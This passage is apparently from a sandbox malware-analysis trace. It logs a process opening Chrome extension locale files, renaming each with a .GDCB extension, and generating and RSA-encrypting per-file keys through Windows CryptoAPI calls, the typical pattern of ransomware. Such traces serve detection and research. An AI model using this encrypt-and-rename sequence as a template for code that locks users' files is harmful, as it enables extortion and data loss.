Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0254.728] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0254.731] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0254.733] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd2, lpOverlapped=0x0) returned 1 [0254.743] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0254.802] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\messages.json.gdcb")) returned 1 [0254.807] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0254.810] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.812] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.813] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0254.813] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.813] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0254.815] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.817] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.817] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0254.817] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.818] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0254.820] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67828c8) returned 1 [0254.820] CryptGetKeyParam (in: hKey=0x67828c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.820] CryptEncrypt (in: hKey=0x67828c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0254.820] GetLastError () returned 0x0 [0254.820] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.820] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0254.822] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67829c8) returned 1 [0254.822] CryptGetKeyParam (in: hKey=0x67829c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.822] CryptEncrypt (in: hKey=0x67829c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0254.822] GetLastError () returned 0x0 [0254.822] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0254.822] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0254.823] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0254.826] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0254.828] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xdd, lpOverlapped=0x0) returned 1 [0254.837] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0254.845] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json.gdcb")) returned 1 [0254.850] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0254.853] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.855] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.855] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0254.855] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.855] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0254.858] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.860] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.860] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0254.860] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.860] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0254.863] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782c88) returned 1 [0254.863] CryptGetKeyParam (in: hKey=0x6782c88, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.863] CryptEncrypt (in: hKey=0x6782c88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0254.863] GetLastError () returned 0x0 [0254.863] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.863] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0254.865] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67833c8) returned 1 [0254.865] CryptGetKeyParam (in: hKey=0x67833c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.865] CryptEncrypt (in: hKey=0x67833c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0254.865] GetLastError () returned 0x0 [0254.865] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0254.865] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0254.866] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0254.869] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0254.871] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xcb, lpOverlapped=0x0) returned 1 [0254.880] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0254.888] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json.gdcb")) returned 1 [0254.893] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0254.897] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.899] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.899] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0254.899] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0254.899] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0254.901] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.903] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.903] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0254.903] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0254.904] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0254.906] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783848) returned 1 [0254.906] CryptGetKeyParam (in: hKey=0x6783848, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.906] CryptEncrypt (in: hKey=0x6783848, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0254.906] GetLastError () returned 0x0 [0254.906] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0254.906] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0254.908] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783388) returned 1 [0254.908] CryptGetKeyParam (in: hKey=0x6783388, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.908] CryptEncrypt (in: hKey=0x6783388, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0254.908] GetLastError () returned 0x0 [0254.908] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0254.908] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0254.910] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0254.912] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0254.915] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd9, lpOverlapped=0x0) returned 1 [0254.924] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0254.943] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json.gdcb")) returned 1 [0254.948] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0254.951] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.953] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.953] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0254.953] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.953] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0254.956] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.958] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.958] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0254.958] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.959] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0254.961] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783408) returned 1 [0254.961] CryptGetKeyParam (in: hKey=0x6783408, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.961] CryptEncrypt (in: hKey=0x6783408, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0254.961] GetLastError () returned 0x0 [0254.961] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.961] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0254.963] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783748) returned 1 [0254.963] CryptGetKeyParam (in: hKey=0x6783748, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.963] CryptEncrypt (in: hKey=0x6783748, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0254.963] GetLastError () returned 0x0 [0254.963] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0254.963] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0254.964] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0254.968] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0254.972] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xde, lpOverlapped=0x0) returned 1 [0254.980] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0254.988] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\messages.json.gdcb")) returned 1 [0254.993] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0254.996] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.998] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.998] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0254.998] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0254.998] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0255.001] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.005] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.005] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0255.005] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0255.005] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0255.008] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783308) returned 1 [0255.008] CryptGetKeyParam (in: hKey=0x6783308, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0255.008] CryptEncrypt (in: hKey=0x6783308, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0255.008] GetLastError () returned 0x0 [0255.008] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0255.008] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0255.011] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783288) returned 1 [0255.011] CryptGetKeyParam (in: hKey=0x6783288, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0255.011] CryptEncrypt (in: hKey=0x6783288, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0255.011] GetLastError () returned 0x0 [0255.011] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0255.011] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User 